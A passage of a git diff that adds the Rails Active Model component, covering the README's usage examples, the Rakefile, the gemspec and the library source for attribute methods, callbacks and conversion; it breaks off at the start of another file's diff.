+It includes model name introspections, conversions, translations and
+validations, resulting in a class suitable to be used with Action Pack.
+See <tt>ActiveModel::Model</tt> for more examples.
+
+Active Model also provides the following functionality to have ORM-like
+behavior out of the box:
+
+* Add attribute magic to objects
+
+ class Person
+ include ActiveModel::AttributeMethods
+
+ attribute_method_prefix 'clear_'
+ define_attribute_methods :name, :age
+
+ attr_accessor :name, :age
+
+ def clear_attribute(attr)
+ send("#{attr}=", nil)
+ end
+ end
+
+ person.clear_name
+ person.clear_age
+
+ {Learn more}[link:classes/ActiveModel/AttributeMethods.html]
+
+* Callbacks for certain operations
+
+ class Person
+ extend ActiveModel::Callbacks
+ define_model_callbacks :create
+
+ def create
+ run_callbacks :create do
+ # Your create action methods here
+ end
+ end
+ end
+
+ This generates +before_create+, +around_create+ and +after_create+
+ class methods that wrap your create method.
+
+ {Learn more}[link:classes/ActiveModel/Callbacks.html]
+
+* Tracking value changes
+
+ class Person
+ include ActiveModel::Dirty
+
+ attr_accessor :name
+ end
+
+ person = Person.new
+ person.name # => nil
+ person.changed? # => false
+ person.name = 'bob'
+ person.changed? # => true
+ person.changed # => ['name']
+ person.changes # => { 'name' => [nil, 'bob'] }
+ person.name = 'robert'
+ person.save
+ person.previous_changes # => {'name' => ['bob, 'robert']}
+
+ {Learn more}[link:classes/ActiveModel/Dirty.html]
+
+* Adding +errors+ interface to objects
+
+ Exposing error messages allows objects to interact with Action Pack
+ helpers seamlessly.
+
+ class Person
+
+ def initialize
+ @errors = ActiveModel::Errors.new(self)
+ end
+
+ attr_accessor :name
+ attr_reader :errors
+
+ def validate!
+ errors.add(:name, "can not be nil") if name.nil?
+ end
+
+ def self.human_attribute_name(attr, options = {})
+ "Name"
+ end
+ end
+
+ person.errors.full_messages
+ # => ["Name can not be nil"]
+
+ {Learn more}[link:classes/ActiveModel/Errors.html]
+
+* Model name introspection
+
+ class NamedPerson
+ extend ActiveModel::Naming
+ end
+
+ NamedPerson.model_name # => "NamedPerson"
+ NamedPerson.model_name.human # => "Named person"
+
+ {Learn more}[link:classes/ActiveModel/Naming.html]
+
+* Making objects serializable
+
+ ActiveModel::Serialization provides a standard interface for your object
+ to provide +to_json+ or +to_xml+ serialization.
+
+ class SerialPerson
+ include ActiveModel::Serialization
+
+ attr_accessor :name
+
+ def attributes
+ {'name' => name}
+ end
+ end
+
+ s = SerialPerson.new
+ s.serializable_hash # => {"name"=>nil}
+
+ class SerialPerson
+ include ActiveModel::Serializers::JSON
+ end
+
+ s = SerialPerson.new
+ s.to_json # => "{\"name\":null}"
+
+ class SerialPerson
+ include ActiveModel::Serializers::Xml
+ end
+
+ s = SerialPerson.new
+ s.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<serial-person...
+
+ {Learn more}[link:classes/ActiveModel/Serialization.html]
+
+* Internationalization (i18n) support
+
+ class Person
+ extend ActiveModel::Translation
+ end
+
+ Person.human_attribute_name('my_attribute')
+ # => "My attribute"
+
+ {Learn more}[link:classes/ActiveModel/Translation.html]
+
+* Validation support
+
+ class Person
+ include ActiveModel::Validations
+
+ attr_accessor :first_name, :last_name
+
+ validates_each :first_name, :last_name do |record, attr, value|
+ record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+ end
+ end
+
+ person = Person.new
+ person.first_name = 'zoolander'
+ person.valid? # => false
+
+ {Learn more}[link:classes/ActiveModel/Validations.html]
+
+* Custom validators
+
+ class ValidatorPerson
+ include ActiveModel::Validations
+ validates_with HasNameValidator
+ attr_accessor :name
+ end
+
+ class HasNameValidator < ActiveModel::Validator
+ def validate(record)
+ record.errors[:name] = "must exist" if record.name.blank?
+ end
+ end
+
+ p = ValidatorPerson.new
+ p.valid? # => false
+ p.errors.full_messages # => ["Name must exist"]
+ p.name = "Bob"
+ p.valid? # => true
+
+ {Learn more}[link:classes/ActiveModel/Validator.html]
+
+
+== Download and installation
+
+The latest version of Active Model can be installed with RubyGems:
+
+ % [sudo] gem install activemodel
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/activemodel
+
+
+== License
+
+Active Model is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
diff --git a/activemodel/Rakefile b/activemodel/Rakefile
new file mode 100644
index 0000000..fc5aaf9
--- /dev/null
+++ b/activemodel/Rakefile
@@ -0,0 +1,37 @@
+dir = File.dirname(__FILE__)
+
+require 'rake/testtask'
+
+task :default => :test
+
+Rake::TestTask.new do |t|
+ t.libs << "test"
+ t.test_files = Dir.glob("#{dir}/test/cases/**/*_test.rb").sort
+ t.warning = true
+ t.verbose = true
+end
+
+namespace :test do
+ task :isolated do
+ ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
+ Dir.glob("#{dir}/test/**/*_test.rb").all? do |file|
+ sh(ruby, '-w', "-I#{dir}/lib", "-I#{dir}/test", file)
+ end or raise "Failures"
+ end
+end
+
+require 'rake/packagetask'
+require 'rubygems/package_task'
+
+spec = eval(File.read("#{dir}/activemodel.gemspec"))
+
+Gem::PackageTask.new(spec) do |p|
+ p.gem_spec = spec
+end
+
+desc "Release to gemcutter"
+task :release => :package do
+ require 'rake/gemcutter'
+ Rake::Gemcutter::Tasks.new(spec).define
+ Rake::Task['gem:push'].invoke
+end
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
new file mode 100644
index 0000000..51655fe
--- /dev/null
+++ b/activemodel/activemodel.gemspec
@@ -0,0 +1,24 @@
+version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'activemodel'
+ s.version = version
+ s.summary = 'A toolkit for building modeling frameworks (part of Rails).'
+ s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, observers, serialization, internationalization, and testing.'
+
+ s.required_ruby_version = '>= 1.9.3'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david at loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*']
+ s.require_path = 'lib'
+
+ s.add_dependency 'activesupport', version
+
+ s.add_dependency 'builder', '~> 3.1.0'
+end
diff --git a/activemodel/examples/validations.rb b/activemodel/examples/validations.rb
new file mode 100644
index 0000000..a56ec4d
--- /dev/null
+++ b/activemodel/examples/validations.rb
@@ -0,0 +1,29 @@
+require 'active_model'
+
+class Person
+ include ActiveModel::Conversion
+ include ActiveModel::Validations
+
+ validates_presence_of :name
+
+ attr_accessor :name
+
+ def initialize(attributes = {})
+ @name = attributes[:name]
+ end
+
+ def persist
+ @persisted = true
+ end
+
+ def persisted?
+ @persisted
+ end
+end
+
+person1 = Person.new
+p person1.valid? # => false
+p person1.errors.messages # => {:name=>["can't be blank"]}
+
+person2 = Person.new(:name => "matz")
+p person2.valid? # => true
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
new file mode 100644
index 0000000..3bd5531
--- /dev/null
+++ b/activemodel/lib/active_model.rb
@@ -0,0 +1,71 @@
+#--
+# Copyright (c) 2004-2013 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support'
+require 'active_support/rails'
+require 'active_model/version'
+
+module ActiveModel
+ extend ActiveSupport::Autoload
+
+ autoload :AttributeMethods
+ autoload :BlockValidator, 'active_model/validator'
+ autoload :Callbacks
+ autoload :Conversion
+ autoload :Dirty
+ autoload :EachValidator, 'active_model/validator'
+ autoload :ForbiddenAttributesProtection
+ autoload :Lint
+ autoload :Model
+ autoload :DeprecatedMassAssignmentSecurity
+ autoload :Name, 'active_model/naming'
+ autoload :Naming
+ autoload :SecurePassword
+ autoload :Serialization
+ autoload :TestCase
+ autoload :Translation
+ autoload :Validations
+ autoload :Validator
+
+ eager_autoload do
+ autoload :Errors
+ end
+
+ module Serializers
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :JSON
+ autoload :Xml
+ end
+ end
+
+ def eager_load!
+ super
+ ActiveModel::Serializer.eager_load!
+ end
+end
+
+ActiveSupport.on_load(:i18n) do
+ I18n.load_path << File.dirname(__FILE__) + '/active_model/locale/en.yml'
+end
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
new file mode 100644
index 0000000..5db898b
--- /dev/null
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -0,0 +1,481 @@
+require 'thread_safe'
+
+module ActiveModel
+ # Raised when an attribute is not defined.
+ #
+ # class User < ActiveRecord::Base
+ # has_many :pets
+ # end
+ #
+ # user = User.first
+ # user.pets.select(:id).first.user_id
+ # # => ActiveModel::MissingAttributeError: missing attribute: user_id
+ class MissingAttributeError < NoMethodError
+ end
+
+ # == Active \Model Attribute Methods
+ #
+ # <tt>ActiveModel::AttributeMethods</tt> provides a way to add prefixes and
+ # suffixes to your methods as well as handling the creation of
+ # <tt>ActiveRecord::Base</tt>-like class methods such as +table_name+.
+ #
+ # The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to:
+ #
+ # * <tt>include ActiveModel::AttributeMethods</tt> in your class.
+ # * Call each of its method you want to add, such as +attribute_method_suffix+
+ # or +attribute_method_prefix+.
+ # * Call +define_attribute_methods+ after the other methods are called.
+ # * Define the various generic +_attribute+ methods that you have declared.
+ # * Define an +attributes+ method, see below.
+ #
+ # A minimal implementation could be:
+ #
+ # class Person
+ # include ActiveModel::AttributeMethods
+ #
+ # attribute_method_affix prefix: 'reset_', suffix: '_to_default!'
+ # attribute_method_suffix '_contrived?'
+ # attribute_method_prefix 'clear_'
+ # define_attribute_methods :name
+ #
+ # attr_accessor :name
+ #
+ # def attributes
+ # {'name' => @name}
+ # end
+ #
+ # private
+ #
+ # def attribute_contrived?(attr)
+ # true
+ # end
+ #
+ # def clear_attribute(attr)
+ # send("#{attr}=", nil)
+ # end
+ #
+ # def reset_attribute_to_default!(attr)
+ # send("#{attr}=", 'Default Name')
+ # end
+ # end
+ #
+ # Note that whenever you include <tt>ActiveModel::AttributeMethods</tt> in
+ # your class, it requires you to implement an +attributes+ method which
+ # returns a hash with each attribute name in your model as hash key and the
+ # attribute value as hash value.
+ #
+ # Hash keys must be strings.
+ module AttributeMethods
+ extend ActiveSupport::Concern
+
+ NAME_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?=]?\z/
+ CALL_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?]?\z/
+
+ included do
+ class_attribute :attribute_aliases, :attribute_method_matchers, instance_writer: false
+ self.attribute_aliases = {}
+ self.attribute_method_matchers = [ClassMethods::AttributeMethodMatcher.new]
+ end
+
+ module ClassMethods
+ # Declares a method available for all attributes with the given prefix.
+ # Uses +method_missing+ and <tt>respond_to?</tt> to rewrite the method.
+ #
+ # #{prefix}#{attr}(*args, &block)
+ #
+ # to
+ #
+ # #{prefix}attribute(#{attr}, *args, &block)
+ #
+ # An instance method <tt>#{prefix}attribute</tt> must exist and accept
+ # at least the +attr+ argument.
+ #
+ # class Person
+ # include ActiveModel::AttributeMethods
+ #
+ # attr_accessor :name
+ # attribute_method_prefix 'clear_'
+ # define_attribute_methods :name
+ #
+ # private
+ #
+ # def clear_attribute(attr)
+ # send("#{attr}=", nil)
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name = 'Bob'
+ # person.name # => "Bob"
+ # person.clear_name
+ # person.name # => nil
+ def attribute_method_prefix(*prefixes)
+ self.attribute_method_matchers += prefixes.map! { |prefix| AttributeMethodMatcher.new prefix: prefix }
+ undefine_attribute_methods
+ end
+
+ # Declares a method available for all attributes with the given suffix.
+ # Uses +method_missing+ and <tt>respond_to?</tt> to rewrite the method.
+ #
+ # #{attr}#{suffix}(*args, &block)
+ #
+ # to
+ #
+ # attribute#{suffix}(#{attr}, *args, &block)
+ #
+ # An <tt>attribute#{suffix}</tt> instance method must exist and accept at
+ # least the +attr+ argument.
+ #
+ # class Person
+ # include ActiveModel::AttributeMethods
+ #
+ # attr_accessor :name
+ # attribute_method_suffix '_short?'
+ # define_attribute_methods :name
+ #
+ # private
+ #
+ # def attribute_short?(attr)
+ # send(attr).length < 5
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name = 'Bob'
+ # person.name # => "Bob"
+ # person.name_short? # => true
+ def attribute_method_suffix(*suffixes)
+ self.attribute_method_matchers += suffixes.map! { |suffix| AttributeMethodMatcher.new suffix: suffix }
+ undefine_attribute_methods
+ end
+
+ # Declares a method available for all attributes with the given prefix
+ # and suffix. Uses +method_missing+ and <tt>respond_to?</tt> to rewrite
+ # the method.
+ #
+ # #{prefix}#{attr}#{suffix}(*args, &block)
+ #
+ # to
+ #
+ # #{prefix}attribute#{suffix}(#{attr}, *args, &block)
+ #
+ # An <tt>#{prefix}attribute#{suffix}</tt> instance method must exist and
+ # accept at least the +attr+ argument.
+ #
+ # class Person
+ # include ActiveModel::AttributeMethods
+ #
+ # attr_accessor :name
+ # attribute_method_affix prefix: 'reset_', suffix: '_to_default!'
+ # define_attribute_methods :name
+ #
+ # private
+ #
+ # def reset_attribute_to_default!(attr)
+ # ...
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name # => 'Gem'
+ # person.reset_name_to_default!
+ # person.name # => 'Gemma'
+ def attribute_method_affix(*affixes)
+ self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
+ undefine_attribute_methods
+ end
+
+ # Allows you to make aliases for attributes.
+ #
+ # class Person
+ # include ActiveModel::AttributeMethods
+ #
+ # attr_accessor :name
+ # attribute_method_suffix '_short?'
+ # define_attribute_methods :name
+ #
+ # alias_attribute :nickname, :name
+ #
+ # private
+ #
+ # def attribute_short?(attr)
+ # send(attr).length < 5
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name = 'Bob'
+ # person.name # => "Bob"
+ # person.nickname # => "Bob"
+ # person.name_short? # => true
+ # person.nickname_short? # => true
+ def alias_attribute(new_name, old_name)
+ self.attribute_aliases = attribute_aliases.merge(new_name.to_s => old_name.to_s)
+ attribute_method_matchers.each do |matcher|
+ matcher_new = matcher.method_name(new_name).to_s
+ matcher_old = matcher.method_name(old_name).to_s
+ define_proxy_call false, self, matcher_new, matcher_old
+ end
+ end
+
+ # Declares the attributes that should be prefixed and suffixed by
+ # ActiveModel::AttributeMethods.
+ #
+ # To use, pass attribute names (as strings or symbols), be sure to declare
+ # +define_attribute_methods+ after you define any prefix, suffix or affix
+ # methods, or they will not hook in.
+ #
+ # class Person
+ # include ActiveModel::AttributeMethods
+ #
+ # attr_accessor :name, :age, :address
+ # attribute_method_prefix 'clear_'
+ #
+ # # Call to define_attribute_methods must appear after the
+ # # attribute_method_prefix, attribute_method_suffix or
+ # # attribute_method_affix declares.
+ # define_attribute_methods :name, :age, :address
+ #
+ # private
+ #
+ # def clear_attribute(attr)
+ # ...
+ # end
+ # end
+ def define_attribute_methods(*attr_names)
+ attr_names.flatten.each { |attr_name| define_attribute_method(attr_name) }
+ end
+
+ # Declares an attribute that should be prefixed and suffixed by
+ # ActiveModel::AttributeMethods.
+ #
+ # To use, pass an attribute name (as string or symbol), be sure to declare
+ # +define_attribute_method+ after you define any prefix, suffix or affix
+ # method, or they will not hook in.
+ #
+ # class Person
+ # include ActiveModel::AttributeMethods
+ #
+ # attr_accessor :name
+ # attribute_method_suffix '_short?'
+ #
+ # # Call to define_attribute_method must appear after the
+ # # attribute_method_prefix, attribute_method_suffix or
+ # # attribute_method_affix declares.
+ # define_attribute_method :name
+ #
+ # private
+ #
+ # def attribute_short?(attr)
+ # send(attr).length < 5
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name = 'Bob'
+ # person.name # => "Bob"
+ # person.name_short? # => true
+ def define_attribute_method(attr_name)
+ attribute_method_matchers.each do |matcher|
+ method_name = matcher.method_name(attr_name)
+
+ unless instance_method_already_implemented?(method_name)
+ generate_method = "define_method_#{matcher.method_missing_target}"
+
+ if respond_to?(generate_method, true)
+ send(generate_method, attr_name)
+ else
+ define_proxy_call true, generated_attribute_methods, method_name, matcher.method_missing_target, attr_name.to_s
+ end
+ end
+ end
+ attribute_method_matchers_cache.clear
+ end
+
+ # Removes all the previously dynamically defined methods from the class.
+ #
+ # class Person
+ # include ActiveModel::AttributeMethods
+ #
+ # attr_accessor :name
+ # attribute_method_suffix '_short?'
+ # define_attribute_method :name
+ #
+ # private
+ #
+ # def attribute_short?(attr)
+ # send(attr).length < 5
+ # end
+ # end
+ #
+ # person = Person.new
+ # person.name = 'Bob'
+ # person.name_short? # => true
+ #
+ # Person.undefine_attribute_methods
+ #
+ # person.name_short? # => NoMethodError
+ def undefine_attribute_methods
+ generated_attribute_methods.module_eval do
+ instance_methods.each { |m| undef_method(m) }
+ end
+ attribute_method_matchers_cache.clear
+ end
+
+ # Returns true if the attribute methods defined have been generated.
+ def generated_attribute_methods #:nodoc:
+ @generated_attribute_methods ||= Module.new.tap { |mod| include mod }
+ end
+
+ protected
+ def instance_method_already_implemented?(method_name) #:nodoc:
+ generated_attribute_methods.method_defined?(method_name)
+ end
+
+ private
+ # The methods +method_missing+ and +respond_to?+ of this module are
+ # invoked often in a typical rails, both of which invoke the method
+ # +match_attribute_method?+. The latter method iterates through an
+ # array doing regular expression matches, which results in a lot of
+ # object creations. Most of the times it returns a +nil+ match. As the
+ # match result is always the same given a +method_name+, this cache is
+ # used to alleviate the GC, which ultimately also speeds up the app
+ # significantly (in our case our test suite finishes 10% faster with
+ # this cache).
+ def attribute_method_matchers_cache #:nodoc:
+ @attribute_method_matchers_cache ||= ThreadSafe::Cache.new(:initial_capacity => 4)
+ end
+
+ def attribute_method_matcher(method_name) #:nodoc:
+ attribute_method_matchers_cache.compute_if_absent(method_name) do
+ # Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix
+ # will match every time.
+ matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1)
+ match = nil
+ matchers.detect { |method| match = method.match(method_name) }
+ match
+ end
+ end
+
+ # Define a method `name` in `mod` that dispatches to `send`
+ # using the given `extra` args. This fallbacks `define_method`
+ # and `send` if the given names cannot be compiled.
+ def define_proxy_call(include_private, mod, name, send, *extra) #:nodoc:
+ defn = if name =~ NAME_COMPILABLE_REGEXP
+ "def #{name}(*args)"
+ else
+ "define_method(:'#{name}') do |*args|"
+ end
+
+ extra = (extra.map!(&:inspect) << "*args").join(", ")
+
+ target = if send =~ CALL_COMPILABLE_REGEXP
+ "#{"self." unless include_private}#{send}(#{extra})"
+ else
+ "send(:'#{send}', #{extra})"
+ end
+
+ mod.module_eval <<-RUBY, __FILE__, __LINE__ + 1
+ #{defn}
+ #{target}
+ end
+ RUBY
+ end
+
+ class AttributeMethodMatcher #:nodoc:
+ attr_reader :prefix, :suffix, :method_missing_target
+
+ AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name)
+
+ def initialize(options = {})
+ if options[:prefix] == '' || options[:suffix] == ''
+ message = "Specifying an empty prefix/suffix for an attribute method is no longer " \
+ "necessary. If the un-prefixed/suffixed version of the method has not been " \
+ "defined when `define_attribute_methods` is called, it will be defined " \
+ "automatically."
+ ActiveSupport::Deprecation.warn message
+ end
+
+ @prefix, @suffix = options.fetch(:prefix, ''), options.fetch(:suffix, '')
+ @regex = /^(?:#{Regexp.escape(@prefix)})(.*)(?:#{Regexp.escape(@suffix)})$/
+ @method_missing_target = "#{@prefix}attribute#{@suffix}"
+ @method_name = "#{prefix}%s#{suffix}"
+ end
+
+ def match(method_name)
+ if @regex =~ method_name
+ AttributeMethodMatch.new(method_missing_target, $1, method_name)
+ end
+ end
+
+ def method_name(attr_name)
+ @method_name % attr_name
+ end
+
+ def plain?
+ prefix.empty? && suffix.empty?
+ end
+ end
+ end
+
+ # Allows access to the object attributes, which are held in the hash
+ # returned by <tt>attributes</tt>, as though they were first-class
+ # methods. So a +Person+ class with a +name+ attribute can for example use
+ # <tt>Person#name</tt> and <tt>Person#name=</tt> and never directly use
+ # the attributes hash -- except for multiple assigns with
+ # <tt>ActiveRecord::Base#attributes=</tt>.
+ #
+ # It's also possible to instantiate related objects, so a <tt>Client</tt>
+ # class belonging to the +clients+ table with a +master_id+ foreign key
+ # can instantiate master through <tt>Client#master</tt>.
+ def method_missing(method, *args, &block)
+ if respond_to_without_attributes?(method, true)
+ super
+ else
+ match = match_attribute_method?(method.to_s)
+ match ? attribute_missing(match, *args, &block) : super
+ end
+ end
+
+ # +attribute_missing+ is like +method_missing+, but for attributes. When
+ # +method_missing+ is called we check to see if there is a matching
+ # attribute method. If so, we tell +attribute_missing+ to dispatch the
+ # attribute. This method can be overloaded to customize the behavior.
+ def attribute_missing(match, *args, &block)
+ __send__(match.target, match.attr_name, *args, &block)
+ end
+
+ # A +Person+ instance with a +name+ attribute can ask
+ # <tt>person.respond_to?(:name)</tt>, <tt>person.respond_to?(:name=)</tt>,
+ # and <tt>person.respond_to?(:name?)</tt> which will all return +true+.
+ alias :respond_to_without_attributes? :respond_to?
+ def respond_to?(method, include_private_methods = false)
+ if super
+ true
+ elsif !include_private_methods && super(method, true)
+ # If we're here then we haven't found among non-private methods
+ # but found among all methods. Which means that the given method is private.
+ false
+ else
+ !match_attribute_method?(method.to_s).nil?
+ end
+ end
+
+ protected
+ def attribute_method?(attr_name) #:nodoc:
+ respond_to_without_attributes?(:attributes) && attributes.include?(attr_name)
+ end
+
+ private
+ # Returns a struct representing the matching attribute method.
+ # The struct's attributes are prefix, base and suffix.
+ def match_attribute_method?(method_name)
+ match = self.class.send(:attribute_method_matcher, method_name)
+ match if match && attribute_method?(match.attr_name)
+ end
+
+ def missing_attribute(attr_name, stack)
+ raise ActiveModel::MissingAttributeError, "missing attribute: #{attr_name}", stack
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
new file mode 100644
index 0000000..b5562dd
--- /dev/null
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -0,0 +1,149 @@
+require 'active_support/core_ext/array/extract_options'
+
+module ActiveModel
+ # == Active \Model \Callbacks
+ #
+ # Provides an interface for any class to have Active Record like callbacks.
+ #
+ # Like the Active Record methods, the callback chain is aborted as soon as
+ # one of the methods in the chain returns +false+.
+ #
+ # First, extend ActiveModel::Callbacks from the class you are creating:
+ #
+ # class MyModel
+ # extend ActiveModel::Callbacks
+ # end
+ #
+ # Then define a list of methods that you want callbacks attached to:
+ #
+ # define_model_callbacks :create, :update
+ #
+ # This will provide all three standard callbacks (before, around and after)
+ # for both the <tt>:create</tt> and <tt>:update</tt> methods. To implement,
+ # you need to wrap the methods you want callbacks on in a block so that the
+ # callbacks get a chance to fire:
+ #
+ # def create
+ # run_callbacks :create do
+ # # Your create action methods here
+ # end
+ # end
+ #
+ # Then in your class, you can use the +before_create+, +after_create+ and
+ # +around_create+ methods, just as you would in an Active Record module.
+ #
+ # before_create :action_before_create
+ #
+ # def action_before_create
+ # # Your code here
+ # end
+ #
+ # When defining an around callback remember to yield to the block, otherwise
+ # it won't be executed:
+ #
+ # around_create :log_status
+ #
+ # def log_status
+ # puts 'going to call the block...'
+ # yield
+ # puts 'block successfully called.'
+ # end
+ #
+ # You can choose not to have all three callbacks by passing a hash to the
+ # +define_model_callbacks+ method.
+ #
+ # define_model_callbacks :create, only: [:after, :before]
+ #
+ # Would only create the +after_create+ and +before_create+ callback methods in
+ # your class.
+ module Callbacks
+ def self.extended(base) #:nodoc:
+ base.class_eval do
+ include ActiveSupport::Callbacks
+ end
+ end
+
+ # define_model_callbacks accepts the same options +define_callbacks+ does,
+ # in case you want to overwrite a default. Besides that, it also accepts an
+ # <tt>:only</tt> option, where you can choose if you want all types (before,
+ # around or after) or just some.
+ #
+ # define_model_callbacks :initializer, only: :after
+ #
+ # Note, the <tt>only: <type></tt> hash will apply to all callbacks defined
+ # on that method call. To get around this you can call the define_model_callbacks
+ # method as many times as you need.
+ #
+ # define_model_callbacks :create, only: :after
+ # define_model_callbacks :update, only: :before
+ # define_model_callbacks :destroy, only: :around
+ #
+ # Would create +after_create+, +before_update+ and +around_destroy+ methods
+ # only.
+ #
+ # You can pass in a class to before_<type>, after_<type> and around_<type>,
+ # in which case the callback will call that class's <action>_<type> method
+ # passing the object that the callback is being called on.
+ #
+ # class MyModel
+ # extend ActiveModel::Callbacks
+ # define_model_callbacks :create
+ #
+ # before_create AnotherClass
+ # end
+ #
+ # class AnotherClass
+ # def self.before_create( obj )
+ # # obj is the MyModel instance that the callback is being called on
+ # end
+ # end
+ def define_model_callbacks(*callbacks)
+ options = callbacks.extract_options!
+ options = {
+ :terminator => "result == false",
+ :skip_after_callbacks_if_terminated => true,
+ :scope => [:kind, :name],
+ :only => [:before, :around, :after]
+ }.merge!(options)
+
+ types = Array(options.delete(:only))
+
+ callbacks.each do |callback|
+ define_callbacks(callback, options)
+
+ types.each do |type|
+ send("_define_#{type}_model_callback", self, callback)
+ end
+ end
+ end
+
+ private
+
+ def _define_before_model_callback(klass, callback) #:nodoc:
+ klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
+ def self.before_#{callback}(*args, &block)
+ set_callback(:#{callback}, :before, *args, &block)
+ end
+ CALLBACK
+ end
+
+ def _define_around_model_callback(klass, callback) #:nodoc:
+ klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
+ def self.around_#{callback}(*args, &block)
+ set_callback(:#{callback}, :around, *args, &block)
+ end
+ CALLBACK
+ end
+
+ def _define_after_model_callback(klass, callback) #:nodoc:
+ klass.class_eval <<-CALLBACK, __FILE__, __LINE__ + 1
+ def self.after_#{callback}(*args, &block)
+ options = args.extract_options!
+ options[:prepend] = true
+ options[:if] = Array(options[:if]) << "value != false"
+ set_callback(:#{callback}, :after, *(args << options), &block)
+ end
+ CALLBACK
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
new file mode 100644
index 0000000..21e4eb3
--- /dev/null
+++ b/activemodel/lib/active_model/conversion.rb
@@ -0,0 +1,93 @@
+module ActiveModel
+ # == Active \Model Conversion
+ #
+ # Handles default conversions: to_model, to_key, to_param, and to_partial_path.
+ #
+ # Let's take for example this non-persisted object.
+ #
+ # class ContactMessage
+ # include ActiveModel::Conversion
+ #
+ # # ContactMessage are never persisted in the DB
+ # def persisted?
+ # false
+ # end
+ # end
+ #
+ # cm = ContactMessage.new
+ # cm.to_model == cm # => true
+ # cm.to_key # => nil
+ # cm.to_param # => nil
+ # cm.to_partial_path # => "contact_messages/contact_message"
+ module Conversion
+ extend ActiveSupport::Concern
+
+ # If your object is already designed to implement all of the Active Model
+ # you can use the default <tt>:to_model</tt> implementation, which simply
+ # returns +self+.
+ #
+ # class Person
+ # include ActiveModel::Conversion
+ # end
+ #
+ # person = Person.new
+ # person.to_model == person # => true
+ #
+ # If your model does not act like an Active Model object, then you should
+ # define <tt>:to_model</tt> yourself returning a proxy object that wraps
+ # your object with Active Model compliant methods.
+ def to_model
+ self
+ end
+
+ # Returns an Enumerable of all key attributes if any is set, regardless if
+ # the object is persisted or not. If there no key attributes, returns +nil+.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.create
+ # person.to_key # => [1]
+ def to_key
+ key = respond_to?(:id) && id
+ key ? [key] : nil
+ end
+
+ # Returns a +string+ representing the object's key suitable for use in URLs,
+ # or +nil+ if <tt>persisted?</tt> is +false+.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # person = Person.create
+ # person.to_param # => "1"
+ def to_param
+ persisted? ? to_key.join('-') : nil
+ end
+
+ # Returns a +string+ identifying the path associated with the object.
+ # ActionPack uses this to find a suitable partial to represent the object.
+ #
+ # class Person
+ # include ActiveModel::Conversion
+ # end
+ #
+ # person = Person.new
+ # person.to_partial_path # => "people/person"
+ def to_partial_path
+ self.class._to_partial_path
+ end
+
+ module ClassMethods #:nodoc:
+ # Provide a class level cache for #to_partial_path. This is an
+ # internal method and should not be accessed directly.
+ def _to_partial_path #:nodoc:
+ @_to_partial_path ||= begin
+ element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self))
+ collection = ActiveSupport::Inflector.tableize(self)
+ "#{collection}/#{element}".freeze
+ end
+ end
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/deprecated_mass_assignment_security.rb b/activemodel/lib/active_model/deprecated_mass_assignment_security.rb
new file mode 100644
index 0000000..1f409c8
